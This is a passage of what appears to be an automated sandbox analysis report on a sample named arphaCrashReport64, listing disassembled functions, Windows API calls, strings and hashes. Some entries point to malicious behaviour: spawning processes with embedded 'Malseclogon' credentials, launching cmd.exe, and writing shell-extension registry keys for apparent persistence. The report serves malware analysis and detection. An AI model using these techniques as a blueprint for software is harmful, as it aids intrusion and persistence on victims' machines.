_getptd.LIBCMT ref: 00007FFD944786BC
_getptd.LIBCMT ref: 00007FFD944786CE
_getptd.LIBCMT ref: 00007FFD944786DA
_SetThrowImageBase.LIBCMT ref: 00007FFD944786F7
_getptd.LIBCMT ref: 00007FFD94478747
_getptd.LIBCMT ref: 00007FFD94478759
_getptd.LIBCMT ref: 00007FFD94478765
_getptd.LIBCMT ref: 00007FFD94478AA6

Strings

csm, xrefs: 00007FFD94478843
csm, xrefs: 00007FFD9447867D
csm, xrefs: 00007FFD94478713
bad exception, xrefs: 00007FFD944787F3

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BlockUnwind$BaseEntryExceptionFunctionImageLookupRaiseThrow
String ID: bad exception$csm$csm$csm
API String ID: 2351602029-820278400
Opcode ID: 02b85cf1756e5e065ab7d413611b66ecb01733af1b654f7ee524ac275377b04b
Instruction ID: 7b4da2ecd0bba1ec2c096bf18862c623dda1deaabc60df65ae1ed40fedaec089
Opcode Fuzzy Hash: 02b85cf1756e5e065ab7d413611b66ecb01733af1b654f7ee524ac275377b04b
Instruction Fuzzy Hash: 60E1A432B0868286EA709BA5A4E02B97794FB46784F44C535DA8D07B5FCFBCE452C742

Function 00000210AE4DDAB8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 192processsynchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 00000210AE4DDB08
_errno.LIBCMT ref: 00000210AE4DDB0F
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4DDB1A
__doserrno.LIBCMT ref: 00000210AE4DDC65
CreateProcessA.KERNEL32 ref: 00000210AE4DDCA7
GetLastError.KERNEL32 ref: 00000210AE4DDCAF
free.LIBCMT ref: 00000210AE4DDCBC
WaitForSingleObject.KERNEL32 ref: 00000210AE4DDCE9
GetExitCodeProcess.KERNEL32 ref: 00000210AE4DDCF7
CloseHandle.KERNEL32 ref: 00000210AE4DDD11
CloseHandle.KERNEL32 ref: 00000210AE4DDD21
_errno.LIBCMT ref: 00000210AE4DDD2C

Strings

cmd.exe, xrefs: 00000210AE4DDAC2

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CloseHandleProcess__doserrno_errno$CodeCreateErrorExitLastObjectSingleWait_invalid_parameter_noinfofree
String ID: cmd.exe
API String ID: 2975444996-723907552
Opcode ID: eef2e16a2f52ab01c99e58510f15d6f11bbd98a0e69ced5dc9547102376d560c
Instruction ID: 2e52da7d2aa81d7151841ad965052af8cf9c7486d903ed10f58c16a5c155d313
Opcode Fuzzy Hash: eef2e16a2f52ab01c99e58510f15d6f11bbd98a0e69ced5dc9547102376d560c
Instruction Fuzzy Hash: 85717D72700B4485FB218F69D8D83ED6BA8FB64B98F654216DB9A077D5DEB8C489C300

Function 00000210AE4CF360 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 73memoryprocessthreadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00000210AE4CF3A0
GetCurrentThreadId.KERNEL32 ref: 00000210AE4CF3A8
VirtualProtect.KERNEL32 ref: 00000210AE4CF3CF
VirtualProtect.KERNEL32 ref: 00000210AE4CF3F6
CreateProcessWithLogonW.ADVAPI32 ref: 00000210AE4CF450
VirtualProtect.KERNEL32 ref: 00000210AE4CF475
VirtualProtect.KERNEL32 ref: 00000210AE4CF49C
CloseHandle.KERNEL32 ref: 00000210AE4CF4AC

Strings

MalseclogonDomain, xrefs: 00000210AE4CF438
MalseclogonUser, xrefs: 00000210AE4CF43F
C:\Users\Public\Music\Trace.exe, xrefs: 00000210AE4CF41D
MalseclogonPwd, xrefs: 00000210AE4CF431

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ProtectVirtual$CurrentProcess$CloseCreateHandleLogonThreadWith
String ID: C:\Users\Public\Music\Trace.exe$MalseclogonDomain$MalseclogonPwd$MalseclogonUser
API String ID: 1105788500-813928492
Opcode ID: c90b5ac492fb6ba54225fb440e7324f5a31df96525c86f0d5aa9d662399655ad
Instruction ID: 9830dfc092151faa9e4bac099d0cad13a09fec1d3fa5fce3475f756ef9a1b5a4
Opcode Fuzzy Hash: c90b5ac492fb6ba54225fb440e7324f5a31df96525c86f0d5aa9d662399655ad
Instruction Fuzzy Hash: CB310732204B86A7DB20CF11F888BDA73B8FB98344F550115DBC943A24DF78D6A9CB40

Function 00000210AE4D6228 Relevance: 19.6, APIs: 13, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMT ref: 00000210AE4D6280

Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBEC2
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBED4
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBEE6
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBEF8
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBF0A
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBF1C
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBF2E
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBF40
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBF52
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBF64
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBF79
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBF8E
Part of subcall function 00000210AE4DBEA4: free.LIBCMT ref: 00000210AE4DBFA3

free.LIBCMT ref: 00000210AE4D6274

Part of subcall function 00000210AE4D3D28: HeapFree.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D3E
Part of subcall function 00000210AE4D3D28: _errno.LIBCMT ref: 00000210AE4D3D48
Part of subcall function 00000210AE4D3D28: GetLastError.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D50

free.LIBCMT ref: 00000210AE4D6296
__free_lconv_num.LIBCMT ref: 00000210AE4D62A2
free.LIBCMT ref: 00000210AE4D62AE
free.LIBCMT ref: 00000210AE4D62BA
free.LIBCMT ref: 00000210AE4D62DE
free.LIBCMT ref: 00000210AE4D62F2
free.LIBCMT ref: 00000210AE4D6301
free.LIBCMT ref: 00000210AE4D630D
free.LIBCMT ref: 00000210AE4D633A
free.LIBCMT ref: 00000210AE4D6362
free.LIBCMT ref: 00000210AE4D637C

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast__free_lconv_mon__free_lconv_num_errno
String ID:
API String ID: 518839503-0
Opcode ID: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction ID: 4b3c1f131579136ad2daf546656e29a6d009bb6ffd4052cd3502be8cf4738205
Opcode Fuzzy Hash: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction Fuzzy Hash: F941053660278484FF95EF65CCE83EC23A8EFA4B54F7844719B8D5A295CFA8C8C18750

Function 00000210AE4CF690 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4D38A4: GetSystemTimeAsFileTime.KERNEL32 ref: 00000210AE4D38B2

Part of subcall function 00000210AE4D4238: _getptd.LIBCMT ref: 00000210AE4D4240

rand.LIBCMT ref: 00000210AE4CF6D0

Part of subcall function 00000210AE4D4250: _getptd.LIBCMT ref: 00000210AE4D4254

lstrlen.KERNEL32 ref: 00000210AE4CF720
lstrlen.KERNEL32 ref: 00000210AE4CF77A
lstrlen.KERNEL32 ref: 00000210AE4CF7A0
RegOpenKeyExA.ADVAPI32 ref: 00000210AE4CF82C
RegSetValueExA.ADVAPI32 ref: 00000210AE4CF852
RegSetValueExA.ADVAPI32 ref: 00000210AE4CF87F
RegCloseKey.ADVAPI32 ref: 00000210AE4CF88A

Strings

lpData, xrefs: 00000210AE4CF83F
SOFTWARE\Classes\*\shellex, xrefs: 00000210AE4CF810
lpKey, xrefs: 00000210AE4CF862

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: lstrlen$TimeValue_getptd$CloseFileOpenSystemrand
String ID: SOFTWARE\Classes\*\shellex$lpData$lpKey
API String ID: 2327618628-1449424764
Opcode ID: f65514e6a1795be2495dcb298276d1a54e49bdf145fa4caf51bfb2030b4dae68
Instruction ID: 0fe3af74cea7ce6710fa8965bac31fa3b9bb1174c13119c397657018a53d182a
Opcode Fuzzy Hash: f65514e6a1795be2495dcb298276d1a54e49bdf145fa4caf51bfb2030b4dae68
Instruction Fuzzy Hash: 6B51C032615B8082EB10CF25E8983DE77A4FBA9B84F645121EBCA47B5ADF7CC585C700

Function 00007FFD94477DA4 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FFD94477DD3
_getptd.LIBCMT ref: 00007FFD94477DE7
_getptd.LIBCMT ref: 00007FFD94477E26
_getptd.LIBCMT ref: 00007FFD94477E32
_getptd.LIBCMT ref: 00007FFD94477E3E
_CreateFrameInfo.LIBCMT ref: 00007FFD94477E53

Part of subcall function 00007FFD94477628: _getptd.LIBCMT ref: 00007FFD94477634
Part of subcall function 00007FFD94477628: _getptd.LIBCMT ref: 00007FFD94477642
Part of subcall function 00007FFD94477628: _getptd.LIBCMT ref: 00007FFD94477656

_getptd.LIBCMT ref: 00007FFD94477E71
_getptd.LIBCMT ref: 00007FFD94477E82
_getptd.LIBCMT ref: 00007FFD94477F99
_getptd.LIBCMT ref: 00007FFD94477FAD

Strings

csm, xrefs: 00007FFD94477F4C

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CreateFrameInfo
String ID: csm
API String ID: 4181383844-1018135373
Opcode ID: 828165de7ce521160259d7b828e9e3e446d8f03bfe6e5b9f43c69d9dafcd3fb8
Instruction ID: 72670d9b10e8089213fc2a34fe50a42ef36e6f8de104962f05970e014b6ab762
Opcode Fuzzy Hash: 828165de7ce521160259d7b828e9e3e446d8f03bfe6e5b9f43c69d9dafcd3fb8
Instruction Fuzzy Hash: D8415A32608B8281DA70DB95E5907B977A8FB86790F45C135EA8D47B9BCF78E062C700

Function 00007FFD94472A68 Relevance: 18.1, APIs: 12, Instructions: 82COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00007FFD94472A87

Part of subcall function 00007FFD94471EA8: HeapFree.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471EBE
Part of subcall function 00007FFD94471EA8: _errno.LIBCMT ref: 00007FFD94471EC8
Part of subcall function 00007FFD94471EA8: GetLastError.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471ED0

free.LIBCMT ref: 00007FFD94472A95
free.LIBCMT ref: 00007FFD94472AA3
free.LIBCMT ref: 00007FFD94472AB1
free.LIBCMT ref: 00007FFD94472ABF
free.LIBCMT ref: 00007FFD94472ACD
free.LIBCMT ref: 00007FFD94472ADE
free.LIBCMT ref: 00007FFD94472AF6
_lock.LIBCMT ref: 00007FFD94472B00
free.LIBCMT ref: 00007FFD94472B2E
_lock.LIBCMT ref: 00007FFD94472B43
free.LIBCMT ref: 00007FFD94472B8D

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: free$_lock$ErrorFreeHeapLast_errno
String ID:
API String ID: 1575098132-0
Opcode ID: f4b0929f930cd75da52ad39bfe6af33c9704602c3319d20d8591ae602fc7bda3
Instruction ID: 66c1fb1e0d15f243bb002f43a1f5579c30ea3435abd9365cdfc688b788b778b4
Opcode Fuzzy Hash: f4b0929f930cd75da52ad39bfe6af33c9704602c3319d20d8591ae602fc7bda3
Instruction Fuzzy Hash: CD31D432B0B50245FF79AEE190F26782251AF86B84F48C536D90E1768FCF9CA842C351

Function 00000210AE4E140C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE4E143C

Part of subcall function 00000210AE4D4958: _amsg_exit.LIBCMT ref: 00000210AE4D496E

_getptd.LIBCMT ref: 00000210AE4E1450
_getptd.LIBCMT ref: 00000210AE4E148A
_getptd.LIBCMT ref: 00000210AE4E1496
_getptd.LIBCMT ref: 00000210AE4E14A2
_CreateFrameInfo.LIBCMT ref: 00000210AE4E14B7

Part of subcall function 00000210AE4E0B08: _getptd.LIBCMT ref: 00000210AE4E0B14
Part of subcall function 00000210AE4E0B08: _getptd.LIBCMT ref: 00000210AE4E0B22
Part of subcall function 00000210AE4E0B08: _getptd.LIBCMT ref: 00000210AE4E0B36

_getptd.LIBCMT ref: 00000210AE4E14D5
_getptd.LIBCMT ref: 00000210AE4E15DB
_getptd.LIBCMT ref: 00000210AE4E15E7

Strings

csm, xrefs: 00000210AE4E159B

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CreateFrameInfo_amsg_exit
String ID: csm
API String ID: 2825728721-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: 78bc683010e2459af0080cafff0e93e4f732d96559a689523462090347b7e3a0
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: 1F418E32104B8182E6709F12E4883EE77A8FB55B94F654225DFEE07B85DF78C0A5C700

Function 00000210AE4DF5D8 Relevance: 16.8, APIs: 11, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE4DF600
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4DF60B
__wtomb_environ.LIBCMT ref: 00000210AE4DF6ED
_errno.LIBCMT ref: 00000210AE4DF6F6
free.LIBCMT ref: 00000210AE4DF7E7
SetEnvironmentVariableA.KERNEL32 ref: 00000210AE4DF918
_errno.LIBCMT ref: 00000210AE4DF925
free.LIBCMT ref: 00000210AE4DF933
free.LIBCMT ref: 00000210AE4DF940
free.LIBCMT ref: 00000210AE4DF967

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno$EnvironmentVariable__wtomb_environ_invalid_parameter_noinfo
String ID:
API String ID: 101574016-0
Opcode ID: 9f74c31bce3b63dfa0273ca7665c20f16d972669c75fd0b1559b746445878fd9
Instruction ID: 9450e4feee83dce31c3db4824c65366db2e31ee8d5673d729254548501dae1fd
Opcode Fuzzy Hash: 9f74c31bce3b63dfa0273ca7665c20f16d972669c75fd0b1559b746445878fd9
Instruction Fuzzy Hash: A0A1BD36702B4091FA71AB15ADC83EA2698BF60BA4F748525DFD9477D9EFB8C4D18300

Function 00000210AE4C1AC0 Relevance: 16.6, APIs: 11, Instructions: 75sleepnetworkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1ADC
CloseHandle.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1AEB
CloseHandle.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1AFA
CloseHandle.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1B0C
WSACleanup.WS2_32 ref: 00000210AE4C1B12
VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1B29
VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1B4D
VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1B6F
VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1B9C
VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1BB7
VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1BD2

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: FreeVirtual$CloseHandle$CleanupSleep
String ID:
API String ID: 21600312-0
Opcode ID: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction ID: fd7388308f2b58514ed048d62777877b561817c5f49df1c354d4e81dc07e6d08
Opcode Fuzzy Hash: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction Fuzzy Hash: 6E31CF35302B0085EF98DF66D8987A873A9FFA8F85F244115CF8943B68DFB9C4958710

Function 00000210AE1D2F18 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 276COMMON

Download Yara Rule

APIs

_localtime64.LIBCMT ref: 00000210AE1D3134

Part of subcall function 00000210AE1E35D8: __getgmtimebuf.LIBCMT ref: 00000210AE1E35EA

Part of subcall function 00000210AE1E3620: _errno.LIBCMT ref: 00000210AE1E3658
Part of subcall function 00000210AE1E3620: _invalid_parameter_noinfo.LIBCMT ref: 00000210AE1E3664
Part of subcall function 00000210AE1E3620: _errno.LIBCMT ref: 00000210AE1E36D3

Strings

2, xrefs: 00000210AE1D2FD9
pi32, xrefs: 00000210AE1D3010
serN, xrefs: 00000210AE1D2FEB
2, xrefs: 00000210AE1D2F84
.dll, xrefs: 00000210AE1D301A
Adva, xrefs: 00000210AE1D3006
ameA, xrefs: 00000210AE1D2FF5
GetU, xrefs: 00000210AE1D2FE1

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$__getgmtimebuf_invalid_parameter_noinfo_localtime64
String ID: .dll$2$2$Adva$GetU$ameA$pi32$serN
API String ID: 1626460918-1620219524
Opcode ID: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction ID: 560501d3efbb84a25837ba4842e70adc6300acb9df0ee56eeb984c1f83b23d96
Opcode Fuzzy Hash: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction Fuzzy Hash: 8AA1C5311147588FE765EF28D8887EA77E1FF64310F60421AE98AC71E2DF74AA85CB41

Function 00000210AE4C2CF0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000210AE4C2D0C
GetProcAddress.KERNEL32 ref: 00000210AE4C2D24
GetProcAddress.KERNEL32 ref: 00000210AE4C2D37
GetProcAddress.KERNEL32 ref: 00000210AE4C2D47
FreeLibrary.KERNEL32 ref: 00000210AE4C2D85

Part of subcall function 00000210AE4C2BA0: LoadLibraryA.KERNEL32 ref: 00000210AE4C2BD6
Part of subcall function 00000210AE4C2BA0: GetProcAddress.KERNEL32 ref: 00000210AE4C2BEE
Part of subcall function 00000210AE4C2BA0: GetProcAddress.KERNEL32 ref: 00000210AE4C2C01
Part of subcall function 00000210AE4C2BA0: GetProcAddress.KERNEL32 ref: 00000210AE4C2C16
Part of subcall function 00000210AE4C2BA0: GetProcAddress.KERNEL32 ref: 00000210AE4C2C29
Part of subcall function 00000210AE4C2BA0: LoadLibraryA.KERNEL32 ref: 00000210AE4C2C39
Part of subcall function 00000210AE4C2BA0: GetProcAddress.KERNEL32 ref: 00000210AE4C2C51
Part of subcall function 00000210AE4C2BA0: FreeLibrary.KERNEL32 ref: 00000210AE4C2CA9
Part of subcall function 00000210AE4C2BA0: FreeLibrary.KERNEL32 ref: 00000210AE4C2CB7

Strings

user32.dll, xrefs: 00000210AE4C2D05
OpenDesktopA, xrefs: 00000210AE4C2D2D
OpenInputDesktop, xrefs: 00000210AE4C2D1A
CloseDesktop, xrefs: 00000210AE4C2D3D

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$OpenDesktopA$OpenInputDesktop$user32.dll
API String ID: 2449869053-3711086354
Opcode ID: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction ID: 2711ce1f162059b759038cec036d236ce9d3d09cd8f0060229c3bf46e628a420
Opcode Fuzzy Hash: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction Fuzzy Hash: B2115630315F4582EA54DB16A8D82E96399BFA9FC0F640025DF9A43B58DFBCC585C304

Function 00000210AE4DC5D0 Relevance: 15.3, APIs: 10, Instructions: 253COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00000210AE4DC6F7

Part of subcall function 00000210AE4D9FFC: GetLastError.KERNEL32 ref: 00000210AE4DA060
Part of subcall function 00000210AE4D9FFC: free.LIBCMT ref: 00000210AE4DA0DE

free.LIBCMT ref: 00000210AE4DC8BF
free.LIBCMT ref: 00000210AE4DC8CF
free.LIBCMT ref: 00000210AE4DC8DF
free.LIBCMT ref: 00000210AE4DC8EB
free.LIBCMT ref: 00000210AE4DC940
free.LIBCMT ref: 00000210AE4DC948
free.LIBCMT ref: 00000210AE4DC950
free.LIBCMT ref: 00000210AE4DC958
free.LIBCMT ref: 00000210AE4DC962

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorInfoLast
String ID:
API String ID: 189849726-0
Opcode ID: ed597548c62d6f293f89439e5fe85e9590073bf69dc433b741745838140ad289
Instruction ID: e4516a98653aeb72b5ab0fee6955480e8a1908a008a146b8f11ab69205a95393
Opcode Fuzzy Hash: ed597548c62d6f293f89439e5fe85e9590073bf69dc433b741745838140ad289
Instruction Fuzzy Hash: AAB1D17260878096EB11CF29E8C83DD77A8FB58B84FA44125EBC987795DFB8C481CB00

Function 00000210AE4DF104 Relevance: 15.2, APIs: 10, Instructions: 250COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4DF4AE), ref: 00000210AE4DF1F7
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4DF4AE), ref: 00000210AE4DF276
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4DF4AE), ref: 00000210AE4DF31D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000210AE4DF4AE), ref: 00000210AE4DF343

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 1842b7b9aeb76f450a757d8ddac4bd04b4d2bf37fa62d8c5c4ecf23dbc8fb625
Instruction ID: ddc3dda71ecda40527e5025ba4a99401b0e75993f393f13a1f7ddec586c18c05
Opcode Fuzzy Hash: 1842b7b9aeb76f450a757d8ddac4bd04b4d2bf37fa62d8c5c4ecf23dbc8fb625
Instruction Fuzzy Hash: 51A1DF327007808AEB318F259CC83ED66EABF617A4F6846169BA9477C4DFB4D8C48300

Function 00000210AE4DA690 Relevance: 15.2, APIs: 10, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,00000210AE4DA9CD), ref: 00000210AE4DA72A
malloc.LIBCMT ref: 00000210AE4DA793
